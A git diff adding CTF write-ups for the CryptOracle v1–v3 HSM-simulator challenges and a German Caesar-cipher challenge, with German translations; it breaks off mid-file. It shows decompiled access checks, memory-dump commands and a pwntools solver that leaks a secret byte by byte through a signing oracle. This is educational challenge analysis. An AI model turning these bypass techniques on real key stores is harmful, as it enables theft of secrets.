diff --git a/cryptoracle_v1.md b/cryptoracle_v1.md new file mode 100644 index 0000000..0145736 --- /dev/null +++ b/cryptoracle_v1.md @@ -0,0 +1,174 @@ +# CryptOracle v1 + +`CryptOracle v1` is an introductory cryptography and reverse engineering challenge that simulates a Hardware Security Module (HSM). The objective is to retrieve a secret flag stored in a "secure" memory region that is supposedly isolated from the user. + +## Information Gathering + +We are provided with a `cryptOracle_v1.tar.xz` archive containing the `crypt_oracle_v1` binary. Initial analysis confirms it is a statically linked 64-bit ELF executable. + +```bash +$ file crypt_oracle_v1 +crypt_oracle_v1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ... +``` + +Upon connecting to the challenge server, we are greeted with the following interface: + +``` +CryptOracle v1.0 +Setting up memory... + 0x10000 - 0x11000 : Secure Memory (Keys/ROM) + 0x20000 - 0x28000 : User Memory +Type 'help' for commands. +``` + +The challenge description hints that sensitive keys are stored at address `0x10000`. + +## Reverse Engineering + +We use Ghidra to analyze the binary and understand how it manages memory access. + +### 1. Main Interaction Loop (`main`) + +The `main` function initializes the HSM simulation and processes user commands. + +```c +undefined8 main(void) + +{ + int iVar1; + char *pcVar2; + long in_FS_OFFSET; + undefined4 local_428; + undefined4 local_424; + undefined4 local_420; + undefined4 local_41c; + char local_418 [512]; + undefined1 local_218 [520]; + long local_10; + + local_10 = *(long *)(in_FS_OFFSET + 0x28); + setvbuf((FILE *)stdout,(char *)0x0,2,0); + puts("CryptOracle v1.0"); + setup_memory(); + puts("Type \'help\' for commands."); + while( true ) { + pcVar2 = fgets(local_418,0x200,(FILE *)stdin); + if (pcVar2 == (char *)0x0) break; + iVar1 = strncmp(local_418,"rm",2); + if (iVar1 == 0) { + iVar1 = __isoc99_sscanf(local_418,"rm 0x%x %d",&local_420,&local_41c); + if (iVar1 == 2) { + do_read(local_420,local_41c); + } + } + // ... (other commands) ... + } + // ... + return 0; +} +``` + +The `rm` command takes a hexadecimal address and a decimal size, then calls the `do_read` function. + +### 2. Memory Initialization (`setup_memory`) + +The `setup_memory` function reveals where the flag is placed. + +```c +void setup_memory(void) + +{ + void *pvVar1; + FILE *__stream; + size_t sVar2; + + puts("Setting up memory..."); + pvVar1 = mmap64((void *)0x10000,0x1000,3,0x32,-1,0); + // ... + pvVar1 = mmap64((void *)0x20000,0x8000,3,0x32,-1,0); + // ... + memset((void *)0x10000,0,0x1000); + memset((void *)0x20000,0,0x8000); + __stream = fopen64("flag.bin","rb"); + if (__stream != (FILE *)0x0) { + sVar2 = fread((void *)0x10000,1,0x800,__stream); + fclose(__stream); + // ... + return; + } + // ... +} +``` + +We confirm that the flag from `flag.bin` is loaded directly into the "Secure Memory" region at `0x10000`. + +### 3. Vulnerability Analysis (`get_ptr`) + +The `do_read` function calls a helper called `get_ptr` to validate memory access before printing data. + +```c +void do_read(undefined4 param_1,undefined4 param_2) + +{ + long lVar1; + + lVar1 = get_ptr(param_1,param_2,0); + if (lVar1 == 0) { + puts("ERR_ACCESS_VIOLATION"); + } + else { + print_hex(lVar1,param_2); + } + return; +} +``` + +Now let\'s examine the logic in `get_ptr`: + +```c +uint get_ptr(uint param_1,int param_2,int param_3) + +{ + // 1. Integer overflow check: ensure address + size doesn't wrap around + if (param_2 + param_1 < param_1) { + param_1 = 0; + } + // 2. Range Validation: check if access is within mapped regions + else if ((param_1 < 0x10000) || (0x11000 < param_2 + param_1)) { + // If not in Secure Memory (0x10000-0x11000), check User Memory (0x20000-0x28000) + if ((param_1 < 0x20000) || (0x28000 < param_2 + param_1)) { + param_1 = 0; + } + } + // 3. Security Check: block access to flag region (0x10000 - 0x10800) + // This is ONLY enforced if param_3 (check_secure) is non-zero + else if ((param_3 != 0) && (param_1 - 0x10000 < 0x800)) { + param_1 = 0; + } + return param_1; +} +``` + +The validation logic in `get_ptr` works as follows: +1. **Integer Overflow**: It checks if `size + addr` overflows. +2. **Range Validation**: It ensures the access is within the Secure Memory (`0x10000-0x11000`) or User Memory (`0x20000-0x28000`). +3. **Secure Memory Restriction**: It explicitly blocks access to the first `0x800` bytes of Secure Memory (where the flag is stored) **ONLY IF** `param_3` (the `check_secure` flag) is non-zero. + +Crucially, in the `do_read` function (which implements the `rm` command), the third argument passed to `get_ptr` is **hardcoded to `0`**. This means the specific check that protects the secret keys is bypassed when using the "read memory" command. + +## Solution + +Because the `rm` command bypasses the isolation check in `get_ptr`, we can directly dump the secure RAM. + +1. Connect to the server. +2. Read the memory at address `0x10000`. + +```bash +> rm 0x10000 32 +00010000: 7b 66 6c 61 67 3a 20 74 68 61 74 5f 77 61 73 5f {flag: that_was_ +00010010: 74 6f 6f 5f 65 61 73 79 5f 72 69 67 68 74 3f 7d too_easy_right?} +``` + +The flag is revealed: `{flag: that_was_too_easy_right?}` + +``` \ No newline at end of file diff --git a/cryptoracle_v2.md b/cryptoracle_v2.md new file mode 100644 index 0000000..17802d0 --- /dev/null +++ b/cryptoracle_v2.md @@ -0,0 +1,133 @@ +# CryptOracle v2 + +`CryptOracle v2` is the "Hardened" version of the HSM simulator. The direct memory read vulnerability from v1 has been fixed, but a new "Cryptographic Engine" has been added. The goal is the same: dump the secret key from the secure memory region at `0x10000`. + +## Information Gathering + +After connecting to the server, we see a familiar interface with new commands like `enc` and `dec`. + +``` +CryptOracle v2.0 (Hardened!) +Setting up memory... + 0x10000 - 0x11000 : Secure Memory (Keys/ROM) + 0x20000 - 0x28000 : User Memory +Type 'help' for commands. +``` + +## Reverse Engineering + +We open the binary in Ghidra and check the functions that have changed. + +### 1. The Patch (`do_read`) + +The `do_read` function now includes an explicit check that blocks any attempt to read from addresses below the user memory region. + +```c +void do_read(uint32_t offset,uint32_t len) +{ + uint8_t *data; + + // This check prevents us from reading 0x10000 directly. + if (offset < 0x20000) { + puts("ERR_ACCESS_VIOLATION"); + } + else { + // ... (rest of the function) + } + return; +} +``` + +The simple `rm 0x10000 32` from v1 will no longer work. + +### 2. The Cryptographic Engine (`do_cipher`) + +With the direct read vulnerability from v1 patched, we must now investigate other commands as a potential attack surface. The `enc` and `dec` commands, which were present before, now become our primary focus. They are handled by the `do_cipher` function. It allows encrypting or decrypting data from a source address to a destination address using a key stored in a secure "slot". + +```c +void do_cipher(char mode, uint32_t src_off, uint32_t len, int slot, uint32_t dst_off) +{ + // ... + // Get pointer to source buffer (can be anywhere) + src_ptr = get_ptr(src_off, len, 0); + + // Get pointer to destination buffer (must be writable) + dst_ptr = get_ptr(dst_off, len, 1); + + // Get pointer to the key from a secure slot + // Address is calculated as 0x10000 + slot * 32 + key_ptr = get_ptr((slot + 0x800) * 0x20, 0x20, 0); + + if (/* all pointers are valid */) { + // ... performs AES encryption/decryption block by block ... + } +} +``` + +The key insight is in how the pointers are validated, which all happens inside the `get_ptr` function. + +### 3. Vulnerability Analysis (`get_ptr`) + +Here is the decompiled `get_ptr` function from Ghidra. It takes an offset, a length, and a flag `is_write` that is `1` for write operations and `0` for read operations. + +```c +uint8_t * get_ptr(uint32_t offset,uint32_t len,int is_write) + +{ + uint8_t *puVar1; + + if (len + offset < offset) { + puVar1 = (uint8_t *)0x0; + } + else if ((offset < 0x10000) || (0x11000 < len + offset)) { + if ((offset < 0x20000) || (0x28000 < len + offset)) { + puVar1 = (uint8_t *)0x0; + } + else { + puVar1 = (uint8_t *)(ulong)offset; + } + } + else if ((is_write == 0) || (0x7ff < offset - 0x10000)) { + puVar1 = (uint8_t *)(ulong)offset; + } + else { + puVar1 = (uint8_t *)0x0; + } + return puVar1; +} +``` + +**The Vulnerability:** +The logic in the final `else if` block is flawed. Let's trace it for a read operation (`is_write == 0`) on the secure flag region (`offset = 0x10000`). +* The expression is `(is_write == 0) || (0x7ff < offset - 0x10000)`. +* Since `is_write` is `0`, the first part of the OR `(0 == 0)` is **true**. +* The entire expression becomes `true`, and access is granted, returning a valid pointer. + +The check that should prevent writing to the first 2KB of secure memory (`0x7ff < offset - 0x10000`) is completely bypassed for any read operation. The `do_cipher` function abuses this by requesting a read (`is_write=0`) on the secure flag, which `get_ptr` allows. This creates a **Confused Deputy** scenario, where we use the oracle's legitimate read permissions to exfiltrate data. + +## Solution + +The attack is a two-step process: + +1. **Encrypt**: Use the `enc` command to instruct the oracle to read from the secure flag region (`0x10000`) and write the encrypted result (ciphertext) into user-accessible memory (`0x20000`). +2. **Decrypt**: Use the `dec` command to instruct the oracle to read the ciphertext from user memory (`0x20000`) and write the decrypted result (plaintext) back into a different location in user memory (`0x20100`). +3. **Read**: Use the now-fixed `rm` command to read the plaintext flag from `0x20100`. + +### Execution + +```bash +# Step 1: Encrypt the flag from secure memory to user memory +> enc 0x10000 32 30 0x20000 +OK + +# Step 2: Decrypt the ciphertext from user memory to another user memory location +> dec 0x20000 32 30 0x20100 +OK + +# Step 3: Read the plaintext flag from user memory +> rm 0x20100 32 +00020100: 7b 66 6c 61 67 3a 20 73 65 6c 66 5f 65 6e 63 72 {flag: self_encr +00020110: 79 70 74 69 6f 6e 5f 69 73 5f 6e 69 63 65 21 7d yption_is_nice!} +``` + +The flag is revealed: `{flag: self_encryption_is_nice!}` diff --git a/cryptoracle_v3.md b/cryptoracle_v3.md new file mode 100644 index 0000000..ffcd3fd --- /dev/null +++ b/cryptoracle_v3.md @@ -0,0 +1,221 @@ +# CryptOracle v3 + +`CryptOracle v3` is the "Gold Master" release of the HSM simulator. The vulnerabilities from v1 (direct read) and v2 (confused deputy) have been patched. The challenge is to find the new vulnerability in the cryptographic functions to dump the secret flag. + +## Information Gathering + +After connecting to the server, we see a familiar interface: + +``` +CryptOracle v3.0 (Bullet proof!) +... +Type 'help' for commands. +``` + +The binary is not stripped, which helps our analysis in Ghidra. + +## Reverse Engineering + +### 1. The Patches + +First, we verify the fixes. +- **`do_read`**: Still has the check `if (offset < 0x20000)`, blocking direct reads of secure memory. +- **`get_ptr`**: Now has a fourth `is_privileged` argument. We find that `do_cipher` (for `enc` and `dec`) calls `get_ptr` with `is_privileged=0`, meaning it can no longer access secure memory at all. The confused deputy attack is fixed. + +### 2. The New Attack Surface (`do_sign`) + +The challenge description hints that the `sig` command is our new focus. The `do_sign` function is called, and unlike `do_cipher`, it *is* privileged. + +```c +/* Decompiled do_sign function */ +void do_sign(uint32_t src_off, uint32_t len, int slot, uint32_t dst_off) +{ + long lVar1; + uint8_t *src_ptr; + uint8_t *dst_ptr; + uint8_t *key_ptr; + AES_KEY k; + uint8_t block [16]; // A 16-byte buffer on the stack + + // All pointers are requested with privileged access (last argument is 1) + src_ptr = get_ptr(src_off, len, 0, 1); + dst_ptr = get_ptr(dst_off, 0x10, 1, 1); + key_ptr = get_ptr((slot + 0x800) * 0x20, 0x20, 0, 1); + + if (/* pointers are valid */) { + AES_set_encrypt_key(key_ptr, 0x80, &k); + + // The stack buffer is zeroed out + memset(block, 0, 0x10); + + // The input length is capped at 16 bytes + if (0x10 < len) { + len = 0x10; + } + + // The (up to) 16 bytes from the source are copied into the block + memcpy(block, src_ptr, (ulong)len); + + // The block is encrypted and written to the destination + AES_encrypt(block, dst_ptr, &k); + puts("OK"); + } +} +``` + +Key findings from `do_sign`: +1. **Privileged**: It can read from anywhere, including the secret flag at `0x10000`. +2. **Deterministic**: The "signing" is just AES ECB encryption. For a given key and a given input block, the output is always the same. +3. **Padding**: The function takes up to 16 bytes of input, copies it into a zero-padded 16-byte block, and then encrypts the block. This is crucial: `sig` on a single byte `X` is effectively `Enc(Key, [X, 0, 0, ...])`. + +### 3. The Vulnerability: Deterministic Oracle + +Because the signing is deterministic, we can use it as an **encryption oracle**. We can ask it to "sign" (encrypt) any data we want using one of the master keys (e.g., slot 0). If we encrypt every possible byte from 0-255, we can build a lookup table mapping the original byte to its signature. + +This allows for a classic **Rainbow Table** attack. + +## Solution + +The attack has two phases: + +1. **Build a Rainbow Table**: + * Iterate through all 256 possible byte values. + * For each byte, write it to user memory (e.g., `0x20000`). + * Use the `sig` command with a master key (slot 0) to encrypt that single byte. + * Read the 16-byte signature from the output buffer. + * Store the `signature -> byte` mapping. + +2. **Dump Secure Memory**: + * Iterate through the addresses of the secret flag (`0x10000`, `0x10001`, etc.). + * For each address, use the `sig` command to get the signature of the single secret byte at that address. + * Look up the resulting signature in our rainbow table to find the original secret byte. + +### Step-by-Step Execution + +Here's how we would manually perform the lookup for the first byte of the flag. + +**1. Build table for a known byte, e.g., 'A' (0x41)** +```bash +# Write 'A' to user memory +> wm 0x20000 1 41 +OK + +# Sign that byte with the master key in slot 0 +> sig 0x20000 1 0 0x20100 +OK + +# Read the signature +> rm 0x20100 16 +00020100: d85de6195410... +``` +Now we know that the signature `d85de6...` corresponds to the plaintext byte `A`. We repeat this for all 256 bytes. + +**2. Get signature of the first secret byte** +```bash +# Sign the byte at the start of the secure region +> sig 0x10000 1 0 0x20100 +OK + +# Read its signature +> rm 0x20100 16 +00020100: 555c441c2... +``` + +**3. Lookup and repeat** +We find which plaintext byte corresponds to the signature `555c44...` in our pre-built table. This reveals the first byte of the flag. We repeat this for all 32 bytes to dump the entire flag. + +### Final Solver Script + +The `solve.py` script automates this entire process. + +```python +from pwn import * +import sys + +# --- Configuration --- +HOST = '192.168.178.46' +PORT = 1339 + +# Memory Map (Matches v6.0) +SECRET_BASE = 0x10000 +USER_BASE = 0x20000 +USER_SCRATCH = USER_BASE + 0x200 + +def solve(): + io = remote(HOST, PORT) + io.recvuntil(b"Type 'help' for commands.\n") + log.info(f"Connected. dumping memory from 0x{SECRET_BASE:x}...") + + # --- Phase 1: Build Rainbow Table (0x00 - 0xFF) --- + log.info("Phase 1: Building Rainbow Table...") + rainbow_table = {} + + # Create a progress bar + prog = log.progress("Mapping") + + for b in range(256): + byte_hex = f"{b:02x}" + + # 1. Write byte to User Memory + io.sendline(f"wm 0x{USER_BASE:x} 1 {byte_hex}".encode()) + io.recvuntil(b"OK\n") + + # 2. Sign it using Slot 0 (Output to scratch) + io.sendline(f"sig 0x{USER_BASE:x} 1 0 0x{USER_SCRATCH:x}".encode()) + io.recvuntil(b"OK\n") + + # 3. Read the signature + io.sendline(f"rm 0x{USER_SCRATCH:x} 16".encode()) + signature = io.recvline().strip().decode() + + rainbow_table[signature] = b # Store integer value + + if b % 32 == 0: prog.status(f"{b}/255") + + prog.success(f"Done. ({len(rainbow_table)} entries)") + + # --- Phase 2: Dump Secure Memory --- + log.info("Phase 2: Dumping first 64 bytes of Secure Memory...") + + dumped_bytes = [] + + for i in range(64): + target_addr = SECRET_BASE + i + + # 1. Exploit: Sign byte from Secret Memory -> User Memory + io.sendline(f"sig 0x{target_addr:x} 1 0 0x{USER_SCRATCH:x}".encode()) + + # Check if the server is happy + resp = io.recvline().strip().decode() + if resp != "OK": + log.error(f"Server Error at offset {i}: {resp}") + break + + # 2. Read the signature + io.sendline(f"rm 0x{USER_SCRATCH:x} 16".encode()) + secret_sig = io.recvline().strip().decode() + + # 3. Lookup + if secret_sig in rainbow_table: + val = rainbow_table[secret_sig] + dumped_bytes.append(val) + # Live print as hex + print(f"{val:02x} ", end='', flush=True) + else: + print("?? ", end='', flush=True) + dumped_bytes.append(0) # Placeholder + + print("\n") + + # Print ASCII representation + ascii_repr = "".join([chr(b) if 32 <= b <= 126 else '.' for b in dumped_bytes]) + log.success(f"Dump (ASCII): {ascii_repr}") + + io.close() + +if __name__ == "__main__": + solve() +``` + +Running the script gives the flag: +`{flag: mapped_memory_is_unsafe!}` diff --git a/de/brutus.md b/de/brutus.md new file mode 100644 index 0000000..b30466b --- /dev/null +++ b/de/brutus.md @@ -0,0 +1,72 @@ +# Brutus + + Salvete! Willkommen zum Write-up für Brutus. Dies ist eine klassische "Cry" (Kryptographie) Challenge, die eine der ältesten und berühmtesten Verschlüsselungstechniken einführt: die Caesar-Chiffre. + + In dieser Challenge erhalten wir eine mysteriöse Nachricht und einige Python-Skripte. Das Ziel ist es, die Nachricht zu entschlüsseln, um die Flagge zu finden. + + --- + +## 1. Erste Analyse + + Wir bekommen einen kurzen lateinischen Satz und eine flaggenartige Zeichenkette präsentiert. + + Der Satz "Ultimum scriptum arcanum a Caesare ad Brutum" übersetzt sich zu "Die letzte geheime Nachricht von Caesar an Brutus." + + Die explizite Erwähnung von Caesar ist hier der primäre Hinweis. Im Kontext von Kryptographie-Challenges deutet dies fast immer auf die Caesar-Chiffre hin, eine der einfachsten und bekanntesten Substitutionschiffren. + +## 2. Identifizierung der Verschiebung + + Eine Caesar-Chiffre funktioniert, indem jeder Buchstabe im Alphabet um eine feste Anzahl von Positionen (den "Schlüssel") verschoben wird. Um sie zu lösen, müssen wir diese Zahl finden. + + Wir können uns die Struktur des bereitgestellten Geheimtextes ansehen: + {xdsy: Uswksj_Wl_Tjmlmk_Seaua_Xava} + + Die meisten CTF-Challenges folgen einem Standard-Flaggenformat, wie z.B. {flag: ...} oder flag{...}. + Es ist höchstwahrscheinlich, dass das Geheimtext-Präfix {xdsy: dem Klartext {flag: entspricht. + + Vergleichen wir die Buchstaben, um die Verschiebung zu berechnen: + + * x $\rightarrow$ f + * d $\rightarrow$ l + * s $\rightarrow$ a + * y $\rightarrow$ g + + Überprüfen wir den Abstand zwischen diesen Buchstaben im Alphabet: + + 1. x (24) zu f (6): + * Um von X nach F zu kommen, gehen wir einmal um das Alphabet herum. + * X $\rightarrow$ Y $\rightarrow$ Z $\rightarrow$ A $\rightarrow$ B $\rightarrow$ C $\rightarrow$ D $\rightarrow$ E $\rightarrow$ F + * Das ist eine Verschiebung von +8. + + 2. d (4) zu l (12): + * 4 + 8 = 12. + * Das ist ebenfalls eine Verschiebung von +8. + + Das Muster bestätigt, dass der Entschlüsselungsschlüssel eine Rechtsverschiebung von 8 (ROT+8) ist. + + (Hinweis: Das bedeutet, die Nachricht wurde ursprünglich mit einer Linksverschiebung von 8 verschlüsselt). + +## 3. Entschlüsselung + + Nun wenden wir eine +8 Verschiebung auf den Rest des Geheimtextes an: Uswksj_Wl_Tjmlmk_Seaua_Xava + + * U (+8) $\rightarrow$ C + * s (+8) $\rightarrow$ a + * w (+8) $\rightarrow$ e + * k (+8) $\rightarrow$ s + * s (+8) $\rightarrow$ a + * j (+8) $\rightarrow$ r + * ...und so weiter. + + Sie können dies manuell durchführen oder ein Online-Tool wie CyberChef (mit "ROT13" und einer Anzahl von 8) oder dcode.fr verwenden. + + Geheimtext: Uswksj_Wl_Tjmlmk_Seaua_Xava + Klartext: Caesar_Et_Brutus_Amici_Fidi + +## 4. Die Lösung + + Kombinieren wir die Teile, erhalten wir die vollständige Flagge: + + {flag: Caesar_Et_Brutus_Amici_Fidi} + + ("Caesar und Brutus treue Freunde" - eine etwas ironische Flagge angesichts der historischen Ereignisse!) diff --git a/de/cryptoracle_v1.md b/de/cryptoracle_v1.md new file mode 100644 index 0000000..6d4a6e4 --- /dev/null +++ b/de/cryptoracle_v1.md @@ -0,0 +1,174 @@ +# CryptOracle v1 + +`CryptOracle v1` ist eine einführende Challenge in Kryptographie und Reverse Engineering, die ein Hardware-Sicherheitsmodul (HSM) simuliert. Das Ziel ist es, eine geheime Flagge abzurufen, die in einem "sicheren" Speicherbereich gespeichert ist, der angeblich vom Benutzer isoliert ist. + +## Informationsbeschaffung + +Wir erhalten ein `cryptOracle_v1.tar.xz` Archiv, das die `crypt_oracle_v1` Binärdatei enthält. Eine erste Analyse bestätigt, dass es sich um eine statisch gelinkte 64-Bit ELF ausführbare Datei handelt. + +```bash +$ file crypt_oracle_v1 +crypt_oracle_v1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ... +``` + +Beim Verbinden mit dem Challenge-Server werden wir mit der folgenden Oberfläche begrüßt: + +``` +CryptOracle v1.0 +Setting up memory... + 0x10000 - 0x11000 : Secure Memory (Keys/ROM) + 0x20000 - 0x28000 : User Memory +Type 'help' for commands. +``` + +Die Challenge-Beschreibung deutet an, dass sensible Schlüssel an der Adresse `0x10000` gespeichert sind. + +## Reverse Engineering + +Wir verwenden Ghidra, um die Binärdatei zu analysieren und zu verstehen, wie sie den Speicherzugriff verwaltet. + +### 1. Hauptinteraktionsschleife (`main`) + +Die `main`-Funktion initialisiert die HSM-Simulation und verarbeitet Benutzerbefehle. + +```c +undefined8 main(void) + +{ + int iVar1; + char *pcVar2; + long in_FS_OFFSET; + undefined4 local_428; + undefined4 local_424; + undefined4 local_420; + undefined4 local_41c; + char local_418 [512]; + undefined1 local_218 [520]; + long local_10; + + local_10 = *(long *)(in_FS_OFFSET + 0x28); + setvbuf((FILE *)stdout,(char *)0x0,2,0); + puts("CryptOracle v1.0"); + setup_memory(); + puts("Type \'help\' for commands."); + while( true ) { + pcVar2 = fgets(local_418,0x200,(FILE *)stdin); + if (pcVar2 == (char *)0x0) break; + iVar1 = strncmp(local_418,"rm",2); + if (iVar1 == 0) { + iVar1 = __isoc99_sscanf(local_418,"rm 0x%x %d",&local_420,&local_41c); + if (iVar1 == 2) { + do_read(local_420,local_41c); + } + } + // ... (andere Befehle) ... + } + // ... + return 0; +} +``` + +Der `rm`-Befehl nimmt eine hexadezimale Adresse und eine dezimale Größe entgegen und ruft dann die `do_read`-Funktion auf. + +### 2. Speicherinitialisierung (`setup_memory`) + +Die `setup_memory`-Funktion offenbart, wo die Flagge platziert wird. + +```c +void setup_memory(void) + +{ + void *pvVar1; + FILE *__stream; + size_t sVar2; + + puts("Setting up memory..."); + pvVar1 = mmap64((void *)0x10000,0x1000,3,0x32,-1,0); + // ... + pvVar1 = mmap64((void *)0x20000,0x8000,3,0x32,-1,0); + // ... + memset((void *)0x10000,0,0x1000); + memset((void *)0x20000,0,0x8000); + __stream = fopen64("flag.bin","rb"); + if (__stream != (FILE *)0x0) { + sVar2 = fread((void *)0x10000,1,0x800,__stream); + fclose(__stream); + // ... + return; + } + // ... +} +``` + +Wir bestätigen, dass die Flagge aus `flag.bin` direkt in den "Secure Memory"-Bereich bei `0x10000` geladen wird. + +### 3. Schwachstellenanalyse (`get_ptr`) + +Die `do_read`-Funktion ruft einen Helfer namens `get_ptr` auf, um den Speicherzugriff zu validieren, bevor Daten gedruckt werden. + +```c +void do_read(undefined4 param_1,undefined4 param_2) + +{ + long lVar1; + + lVar1 = get_ptr(param_1,param_2,0); + if (lVar1 == 0) { + puts("ERR_ACCESS_VIOLATION"); + } + else { + print_hex(lVar1,param_2); + } + return; +} +``` + +Untersuchen wir nun die Logik in `get_ptr`: + +```c +uint get_ptr(uint param_1,int param_2,int param_3) + +{ + // 1. Integer-Überlaufprüfung: Sicherstellen, dass Adresse + Größe nicht überläuft + if (param_2 + param_1 < param_1) { + param_1 = 0; + } + // 2. Bereichsvalidierung: Prüfen, ob der Zugriff innerhalb der gemappten Bereiche liegt + else if ((param_1 < 0x10000) || (0x11000 < param_2 + param_1)) { + // Wenn nicht im Secure Memory (0x10000-0x11000), prüfe User Memory (0x20000-0x28000) + if ((param_1 < 0x20000) || (0x28000 < param_2 + param_1)) { + param_1 = 0; + } + } + // 3. Sicherheitsprüfung: Blockiere Zugriff auf den Flaggenbereich (0x10000 - 0x10800) + // Dies wird NUR erzwungen, wenn param_3 (check_secure) ungleich Null ist + else if ((param_3 != 0) && (param_1 - 0x10000 < 0x800)) { + param_1 = 0; + } + return param_1; +} +``` + +Die Validierungslogik in `get_ptr` funktioniert wie folgt: +1. **Integer-Überlauf**: Es wird geprüft, ob `size + addr` überläuft. +2. **Bereichsvalidierung**: Es wird sichergestellt, dass der Zugriff innerhalb des Secure Memory (`0x10000-0x11000`) oder User Memory (`0x20000-0x28000`) liegt. +3. **Sicherheitsbeschränkung**: Es wird explizit der Zugriff auf die ersten `0x800` Bytes des Secure Memory (wo die Flagge gespeichert ist) blockiert, **NUR WENN** `param_3` (das `check_secure`-Flag) ungleich Null ist. + +Entscheidend ist, dass in der `do_read`-Funktion (die den `rm`-Befehl implementiert) das dritte Argument, das an `get_ptr` übergeben wird, **fest auf `0` gesetzt ist**. Das bedeutet, dass die spezifische Prüfung, die die geheimen Schlüssel schützt, umgangen wird, wenn der Befehl "read memory" verwendet wird. + +## Lösung + +Da der `rm`-Befehl die Isolationsprüfung in `get_ptr` umgeht, können wir das sichere RAM direkt dumpen. + +1. Mit dem Server verbinden. +2. Den Speicher an der Adresse `0x10000` lesen. + +```bash +> rm 0x10000 32 +00010000: 7b 66 6c 61 67 3a 20 74 68 61 74 5f 77 61 73 5f {flag: that_was_ +00010010: 74 6f 6f 5f 65 61 73 79 5f 72 69 67 68 74 3f 7d too_easy_right?} +``` + +Die Flagge wird enthüllt: `{flag: that_was_too_easy_right?}` + +``` \ No newline at end of file diff --git a/de/cryptoracle_v2.md b/de/cryptoracle_v2.md new file mode 100644 index 0000000..f0fbd49 --- /dev/null +++ b/de/cryptoracle_v2.md @@ -0,0 +1,133 @@ +# CryptOracle v2 + +`CryptOracle v2` ist die "gehärtete" Version des HSM-Simulators. Die Schwachstelle des direkten Speicherlesens aus v1 wurde behoben, aber eine neue "Kryptographische Engine" wurde hinzugefügt. Das Ziel ist dasselbe: den geheimen Schlüssel aus dem sicheren Speicherbereich bei `0x10000` zu dumpen. + +## Informationsbeschaffung + +Nachdem wir uns mit dem Server verbunden haben, sehen wir eine vertraute Oberfläche mit neuen Befehlen wie `enc` und `dec`. + +``` +CryptOracle v2.0 (Hardened!) +Setting up memory... + 0x10000 - 0x11000 : Secure Memory (Keys/ROM) + 0x20000 - 0x28000 : User Memory +Type 'help' for commands. +``` + +## Reverse Engineering + +Wir öffnen die Binärdatei in Ghidra und überprüfen die Funktionen, die sich geändert haben. + +### 1. Der Patch (`do_read`) + +Die `do_read`-Funktion enthält jetzt eine explizite Prüfung, die jeden Versuch blockiert, von Adressen unterhalb des Benutzerspeicherbereichs zu lesen. + +```c +void do_read(uint32_t offset,uint32_t len) +{ + uint8_t *data; + + // Diese Prüfung verhindert, dass wir 0x10000 direkt lesen. + if (offset < 0x20000) { + puts("ERR_ACCESS_VIOLATION"); + } + else { + // ... (Rest der Funktion) + } + return; +} +``` + +Das einfache `rm 0x10000 32` aus v1 funktioniert nicht mehr. + +### 2. Die Kryptographische Engine (`do_cipher`) + +Da die Schwachstelle des direkten Lesens aus v1 gepatcht wurde, müssen wir nun andere Befehle als potenzielle Angriffsfläche untersuchen. Die Befehle `enc` und `dec`, die zuvor schon vorhanden waren, rücken nun in unseren Fokus. Sie werden von der `do_cipher`-Funktion behandelt. Sie ermöglicht das Verschlüsseln oder Entschlüsseln von Daten von einer Quelladresse zu einer Zieladresse unter Verwendung eines Schlüssels, der in einem sicheren "Slot" gespeichert ist. + +```c +void do_cipher(char mode, uint32_t src_off, uint32_t len, int slot, uint32_t dst_off) +{ + // ... + // Zeiger auf Quellpuffer abrufen (kann überall sein) + src_ptr = get_ptr(src_off, len, 0); + + // Zeiger auf Zielpuffer abrufen (muss beschreibbar sein) + dst_ptr = get_ptr(dst_off, len, 1); + + // Zeiger auf den Schlüssel aus einem sicheren Slot abrufen + // Adresse wird berechnet als 0x10000 + slot * 32 + key_ptr = get_ptr((slot + 0x800) * 0x20, 0x20, 0); + + if (/* alle Zeiger sind gültig */) { + // ... führt AES-Verschlüsselung/-Entschlüsselung blockweise durch ... + } +} +``` + +Die wichtigste Erkenntnis liegt darin, wie die Zeiger validiert werden, was alles innerhalb der `get_ptr`-Funktion geschieht. + +### 3. Schwachstellenanalyse (`get_ptr`) + +Hier ist die dekompilierte `get_ptr`-Funktion aus Ghidra. Sie nimmt einen Offset, eine Länge und ein Flag `is_write` entgegen, das `1` für Schreiboperationen und `0` für Leseoperationen ist. + +```c +uint8_t * get_ptr(uint32_t offset,uint32_t len,int is_write) + +{ + uint8_t *puVar1; + + if (len + offset < offset) { + puVar1 = (uint8_t *)0x0; + } + else if ((offset < 0x10000) || (0x11000 < len + offset)) { + if ((offset < 0x20000) || (0x28000 < len + offset)) { + puVar1 = (uint8_t *)0x0; + } + else { + puVar1 = (uint8_t *)(ulong)offset; + } + } + else if ((is_write == 0) || (0x7ff < offset - 0x10000)) { + puVar1 = (uint8_t *)(ulong)offset; + } + else { + puVar1 = (uint8_t *)0x0; + } + return puVar1; +} +``` + +**Die Schwachstelle:** +Die Logik im letzten `else if`-Block ist fehlerhaft. Verfolgen wir sie für eine Leseoperation (`is_write == 0`) im sicheren Flaggenbereich (`offset = 0x10000`). +* Der Ausdruck ist `(is_write == 0) || (0x7ff < offset - 0x10000)`. +* Da `is_write` `0` ist, ist der erste Teil des ODER `(0 == 0)` **wahr**. +* Der gesamte Ausdruck wird `wahr`, und der Zugriff wird gewährt, wodurch ein gültiger Zeiger zurückgegeben wird. + +Die Prüfung, die das Schreiben in die ersten 2KB des sicheren Speichers (`0x7ff < offset - 0x10000`) verhindern sollte, wird für jede Leseoperation vollständig umgangen. Die `do_cipher`-Funktion missbraucht dies, indem sie ein Lesen (`is_write=0`) auf der sicheren Flagge anfordert, was `get_ptr` erlaubt. Dies erzeugt ein **Confused Deputy**-Szenario, bei dem wir die legitimen Leseberechtigungen des Orakels nutzen, um Daten zu exfiltrieren. + +## Lösung + +Der Angriff ist ein zweistufiger Prozess: + +1. **Verschlüsseln**: Verwenden Sie den `enc`-Befehl, um das Orakel anzuweisen, aus dem sicheren Flaggenbereich (`0x10000`) zu lesen und das verschlüsselte Ergebnis (Chiffretext) in den benutzerzugänglichen Speicher (`0x20000`) zu schreiben. +2. **Entschlüsseln**: Verwenden Sie den `dec`-Befehl, um das Orakel anzuweisen, den Chiffretext aus dem Benutzerspeicher (`0x20000`) zu lesen und das entschlüsselte Ergebnis (Klartext) zurück an eine andere Stelle im Benutzerspeicher (`0x20100`) zu schreiben. +3. **Lesen**: Verwenden Sie den jetzt reparierten `rm`-Befehl, um die Klartext-Flagge von `0x20100` zu lesen. + +### Ausführung + +```bash +# Schritt 1: Verschlüsseln der Flagge aus dem 